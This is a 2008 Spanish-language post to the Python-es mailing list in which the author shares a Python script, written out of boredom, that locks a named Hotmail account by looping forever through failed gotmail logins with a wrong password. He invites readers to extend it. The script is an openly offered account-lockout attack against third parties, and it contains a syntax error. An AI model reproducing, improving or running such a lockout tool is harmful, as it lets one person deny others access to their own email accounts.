Sin algo de provecho que hacer

Ramon Becerra Reynoso ingcomrbr en gmail.com
Lun Ene 21 05:49:52 CET 2008


#!/usr/local/python

import sys
import time
import os

for arg in sys.argv:
    account = arg

if account == '' or account == archivo.py':
    print "Use:"
    print "cd /where/you/have/it/"
    print "$python archivo.py <address( without @hotmail )>"
    print "example: to block lajunai23 en hotmail.com :"
    print "$python fuckhot.py lajuani23"
    print "IMPORTANT: you need got installing gotmail script."
    print "http://sourceforge.net/projects/gotmail / apt-get install
gotmail"
    answer = raw_input ( "Do you want to install gotmail now? (Y/N): " )
    if answer == "Y" or answer == "y":
        command = "sudo apt-get install gotmail"
        os.system ( command )
    else:
        exit
else:
    loop = 0
    while 1 != 0:
        while loop != 12:
            loop = loop + 1
            print "trying 12 times to making login to block the " + account
+ "@hotmail.com"
            print "trying " + str ( loop ) + "/12 done!"
            command = "gotmail -u " + account + " -p 123456 2> /dev/null"
            os.system ( command )
        loop = 0
        print "Waiting 30 seconds and starting again..."
        print "To exit -> Ctrl + Z"
        time.sleep ( 30 )

----------------
Hoy no tenia algo que hacer y se me ocurrio este script para bloquear
cuentas de hotmail en Linux. Ya habia visto este script antes en Perl. Hoy
lo rehice en Python. Como dice el script necesitan tener gotmail instalado
en la computadora. Disrutenlo. Si quieren crecerlo en alcance solo pongan el
codigo y ya.

-- 
No basta saber, se debe también aplicar. No es suficiente querer, se debe
también hacer.
_______________________________________________
Lista de correo Python-es 
http://listas.aditel.org/listinfo/python-es
FAQ: http://listas.aditel.org/faqpyes





Más información sobre la lista de distribución Python-es